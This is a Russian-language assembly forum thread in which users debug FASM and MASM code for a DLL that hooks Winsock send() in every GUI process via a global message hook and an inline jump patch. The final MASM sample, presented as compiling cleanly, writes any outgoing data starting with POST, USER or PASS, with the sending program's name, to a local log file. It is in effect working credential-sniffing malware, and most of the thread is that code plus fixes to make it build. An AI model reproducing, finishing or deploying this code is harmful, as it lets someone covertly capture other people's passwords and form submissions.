Подсобите с кодом перехвата send() Сильно прошу не пинать ... Код (Text): format PE GUI 4.0 DLL entry DLLEntry include 'win32a.inc' include 'macro/if.inc' section '.code' code readable executable proc DLLEntry, hinstDLL,fdwReason,lpvReserved mov eax,[hinstDLL] mov [hInstance],eax mov eax,TRUE ret endp proc NewSend,pSocket,pBuffer,pLength,pFlags ; invoke GetModuleFileName,NULL,addr ModuleFileName,sizeof ModuleFileName mov edi,[pBuffer] .if edi = 'TSOP' invoke MessageBox,0,[pBuffer],0,0 .elseif edi = ' TEG' invoke MessageBox,0,[pBuffer],0,0 .endif xor eax,eax invoke WriteProcessMemory,INVALID_HANDLE_VALUE,MbaAdr,[OldMba],sizeof.OldCode,Written invoke send,pSocket,pBuffer,pLength,pFlags push eax invoke WriteProcessMemory,INVALID_HANDLE_VALUE,MbaAdr,[JmpMba],sizeof.FarJmp,Written pop eax invoke CallNextHookEx,[HookHandle],[nCode],[wParam],[lParam] ret endp _start: invoke SetWindowsHookEx,WH_GETMESSAGE,NewSend,[hInstance],NULL mov [HookHandle],eax ret section '.data' data readable writeable HookHandle dd ? hInstance dd ? struct OldCode one dw ? two db ? ends struct FarJmp PuhsOp db ? PushArg dw ? RetOp db ? ends JmpMba FarJmp <> OldMba OldCode <> MbaAdr dw ? Written dw ? section '.idata' import data readable writeable library kernel32,'KERNEL32.DLL',\ user32,'USER32.DLL' include 'api\kernel32.inc' include 'api\user32.inc' include 'api\wsock32.inc' section '.edata' export data readable export 'Hook.DLL',_start,'_start',NewSend,'NewSend' section '.reloc' fixups data discardable
miae http://files.virustech.org/indy/Code/Socks/ http://www.wasm.ru/forum/viewtopic.php?id=33357&p=1 http://indy-vx.narod.ru/Bin/Wsi.zip
С учетом ошибок ... но в процессе компиляции затыкается на строчке Код (Text): mov hUser32, eax с ошибкой: Invalid operand mov ..var?QE,eax что не так ??? Код (Text): proc SetIntercept locals hUser32 rb 1 Bytes rb 1 endl invoke GetModuleHandle,addr lib mov hUser32, eax invoke GetProcAddress,hUser32,addr funcname mov MbaAdr, eax invoke ReadProcessMemory,INVALID_HANDLE_VALUE, MbaAdr, addr OldMba, sizeof.OldCode,[Bytes] mov JmpMba.PuhsOp, 0068h mov JmpMba.PushArg, [NewSend] mov JmpMba.RetOp, 00C3h invoke WriteProcessMemory, INVALID_HANDLE_VALUE, MbaAdr,addr JmpMba, sizeof.farJmp,[Bytes] ret endp
mov [hUser32], eax Это в масме с его обязательным offset можно на скобки забивать, а в фасме низя И кстати 1 байта на хендл маловато будет
ну помогите отладить код ... я в теории уже все понимаю, только синтаксис победить не получается затыкается на Код (Text): invoke SetIntercept не вкурю чего ей не хватает Код (Text): format PE GUI 4.0 DLL entry DLLEntry include 'win32a.inc' include 'macro/if.inc' section '.code' code readable executable proc DLLEntry, hinstDLL,fdwReason,lpvReserved .if [fdwReason] = DLL_PROCESS_ATTACH invoke SetIntercept invoke SetHook .elseif [fdwReason] = DLL_PROCESS_DETACH invoke FreeLibrary, [hinstDLL] .endif mov eax,TRUE ret endp proc MyHook, nCode, wParam, lParam invoke CallNextHookEx,[HookHandle],[nCode],[wParam],[lParam] ret endp proc SetIntercept locals hUser32 rd 1 Bytes dd ? endl invoke GetModuleHandle,addr lib mov [hUser32], eax invoke GetProcAddress,[hUser32], funcname mov [MbaAdr], eax invoke ReadProcessMemory,INVALID_HANDLE_VALUE, [MbaAdr], [OldMba], sizeof.OldCode, [Bytes] mov [JmpMba.PuhsOp], 0068h mov [JmpMba.PushArg], NewSend mov [JmpMba.RetOp], 00C3h invoke WriteProcessMemory, INVALID_HANDLE_VALUE, [MbaAdr],[JmpMba], sizeof.farJmp,[Bytes] ret endp proc TrueSend, tSocket,tBuffer,tLength,tFlags invoke WriteProcessMemory, INVALID_HANDLE_VALUE, MbaAdr, addr OldMba, sizeof.OldCode,[Written] invoke send, [tSocket], [tBuffer], [tLength], [tFlags] push eax invoke WriteProcessMemory, INVALID_HANDLE_VALUE, MbaAdr,addr JmpMba, sizeof.FarJmp,[Written] pop eax ret endp proc NewSend, tSocket, tBuffer, tLength, tFlags mov edi,[tBuffer] .if edi = 'TSOP' invoke MessageBox,0,[tBuffer],0,0 .elseif edi = ' TEG' invoke MessageBox,0,[tBuffer],0,0 .endif invoke TrueSend, [tSocket], [tBuffer], [tLength], [tFlags] ret endp SetHook: invoke SetWindowsHookEx,WH_GETMESSAGE,MyHook,[hInstance],NULL mov [HookHandle],eax ret section '.data' data readable writeable HookHandle dd ? hInstance dd ? funcname db 'send',0 lib db 'ws2_32.dll',0 struct OldCode one dd ? two dw ? ends struct FarJmp PuhsOp dw ? PushArg dd ? RetOp dw ? ends JmpMba FarJmp <> OldMba OldCode <> MbaAdr dd ? Written dd ? section '.idata' import data readable writeable library kernel32,'KERNEL32.DLL',\ user32,'USER32.DLL' include 'api\kernel32.inc' include 'api\user32.inc' include 'api\wsock32.inc' section '.edata' export data readable export 'hook.dll',SetHook,'SetHook',NewSend,'NewSend' section '.reloc' fixups data discardable
было бы замечательно если бы оно собиралось: Assembling: Wsi.asm Idp.inc(55) : error A2008: syntax error : PVOID Idp.inc(56) : error A2008: syntax error : PVOID Idp.inc(57) : error A2008: syntax error : PVOID Idp.inc(58) : error A2008: syntax error : PVOID и еще несколько экранов ( было бы замечательно двигать интересные идеи вместе с Makefile'ами особенно для новичков как я
меня всегда пугали виндовые typedef'ы, зоопарк HANDLE, DWORD и кучу всяких непонятных указателей на указатели в линуксе както все роднее кажется ) а так вроде компилить умею, даже писать, даже на сях, тока под линух ну а всеже, поделись Makefile'ом (make.bat, make_it_work.cmd, etc) plz аля @set MASM=c:\masm32 @set MASM_LIB=%MASM%\lib @set MASM_INC=%MASM%\include @set AS=%MASM%\bin\ml.exe @set LD=%MASM%\bin\link.exe @if exist *.obj del *.obj @set AS_FILES=%SRCS% @set AS_FLAGS=/c /coff /nologo /Cp /Gz /I%USER_INC% /I%MASM_INC% @for %%f in (%AS_FILES%) do @%AS% %AS_FLAGS% %%f && @if errorlevel 1 exit @if exist *.exe del *.exe @set LD_FILES=*.obj @rem @set LD_FLAGS=/nologo /noentry /dll /def:%DEFS% /opt:ref /libpath:%MASM_LIB% @set LD_FLAGS=/nologo /libpath:%MASM_LIB% @%LD% %LD_FLAGS% %LD_FILES%
FCron Батник обычный. Вы не скомпилите мой код, так как у вас скорее всего масма пакет обычный. У меня хидеры свои.
Вот самый простой пример, в нем все понятно и компилируется легко ... жаль что это не FASM ))) Код (Text): .386 .model flat,stdcall option casemap:none include masm32includewindows.inc include masm32includeuser32.inc include masm32includekernel32.inc includelib masm32libuser32.lib includelib masm32libkernel32.lib include masm32includemasm32.inc includelib masm32libmasm32.lib include masm32includews2_32.inc includelib masm32libws2_32.lib SetGlobalHook proto SetHook proto .const rz db 13,10 lib db "ws2_32.dll",0 ;dll-ка funcname db "send",0 ;перехватываемая функция fn db "C:send.txt",0 ;Файл в который будут записаны данные okw db "------>",0 ; для красоты :) .data? ModuleFileName db 4096 dup (?) ;сюда будет записано имя проги, посылающей данные e dword ? HI dword ? TrId dword ? R db 512 dup (?) OldCode STRUCT one dword ? two word ? OldCode ENDS far_jmp STRUCT PuhsOp byte ? PushArg dword ? RetOp byte ? far_jmp ENDS JmpMba far_jmp OldMba OldCode MbaAdr dword ? .code ; True функция Truesend proc s: DWORD, b:DWORD, lb:DWORD, h:DWORD LOCAL Written: dword invoke WriteProcessMemory, INVALID_HANDLE_VALUE, MbaAdr, addr OldMba, SizeOf OldCode,addr Written invoke send,s,b,lb,h push eax invoke WriteProcessMemory, INVALID_HANDLE_VALUE, MbaAdr,addr JmpMba, SizeOf far_jmp,addr Written pop eax ret Truesend endp ;Функция записи логов в файл (имя приложения и посылаемые им данные) filewr proc,b_:DWORD, lb_:DWORD LOCAL hFile: dword LOCAL ln: dword LOCAL t: dword invoke CreateFile,ADDR fn, GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ, NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_ARCHIVE, NULL mov hFile,eax invoke SetFilePointer,hFile, 0, 0, FILE_END invoke GetModuleFileName,NULL,addr ModuleFileName,sizeof ModuleFileName mov t, eax invoke WriteFile,hFile,addr ModuleFileName, t,addr ln,NULL invoke WriteFile,hFile,addr okw, 7,addr ln,NULL invoke WriteFile,hFile,addr rz, 2,addr ln,NULL invoke WriteFile,hFile,b_, lb_,addr ln,NULL invoke WriteFile,hFile,addr rz, 2,addr ln,NULL invoke WriteFile,hFile,addr rz, 2,addr ln,NULL invoke CloseHandle, hFile ret filewr endp ;обработчик – сохраняем данные, которые начинаются на POST, USER и PASS newsend proc s: DWORD, b:DWORD, lb:DWORD, h:DWORD mov edi, b .IF (dword ptr [edi] == 'TSOP') invoke filewr, b, lb .ELSEIF (dword ptr [edi] == 'RESU') invoke filewr, b, lb .ELSEIF (dword ptr [edi] == 'SSAP') invoke filewr, b, lb .ENDIF invoke Truesend,s,b,lb,h ret newsend endp SetHook proc LOCAL hUser32: dword LOCAL Bytes: dword invoke GetModuleHandle,addr lib mov hUser32, eax invoke GetProcAddress,hUser32,addr funcname mov MbaAdr, eax invoke ReadProcessMemory,INVALID_HANDLE_VALUE, MbaAdr, addr OldMba, SizeOf OldCode,addr Bytes mov JmpMba.PuhsOp, 0068h mov JmpMba.PushArg, offset newsend mov JmpMba.RetOp, 00C3h invoke WriteProcessMemory, INVALID_HANDLE_VALUE, MbaAdr,addr JmpMba, SizeOf far_jmp,addr Bytes ret SetHook endp MessageProc proc nCode:DWORD,wparam:DWORD,lparam:DWORD invoke CallNextHookEx, 0, nCode, wparam, lparam xor eax, eax ret MessageProc endp SetGlobalHookProc proc invoke SetWindowsHookEx, WH_GETMESSAGE, addr MessageProc, HI, 0 invoke Sleep, INFINITE ret SetGlobalHookProc endp SetGlobalHook proc LOCAL hMutex: dword invoke CreateMutex, 0,0,0 mov hMutex, eax invoke GetLastError .IF eax==0 invoke CreateThread,0,0, addr SetGlobalHookProc, 0, 0, TrId .ELSE invoke CloseHandle, hMutex .ENDIF ret SetGlobalHook endp DllEntry proc hInstance:HINSTANCE, reason:DWORD, reserved1:DWORD push hInstance pop HI .if reason==DLL_PROCESS_ATTACH invoke SetGlobalHook invoke SetHook .endif mov eax,TRUE ret DllEntry endp End DllEntry
как выше уже выяснил господин Клерк - у меня обычный пакет масм, поэтому компилится не так легко include masm32includewindows.inc include masm32includeuser32.inc include masm32includekernel32.inc с этим разобрался, а вот Код (Text): OldCode STRUCT one dword ? two word ? OldCode ENDS far_jmp STRUCT PuhsOp byte ? PushArg dword ? RetOp byte ? far_jmp ENDS JmpMba far_jmp OldMba OldCode меня ввели в ступор мама както сказала что объявлять структуры в .DATA - зло а папа сказал что я занимаюсь х#$%й и заставил пересесть за линукс и програмить на сях... ну это так, лирика подвох я тут не понял, объясните пожалуйста
Должно быть так: Код (Text): OldCode STRUCT one dword ? two word ? OldCode ENDS far_jmp STRUCT PuhsOp byte ? PushArg dword ? RetOp byte ? far_jmp ENDS JmpMba far_jmp <> OldMba OldCode <> И всё скомпилится гуд.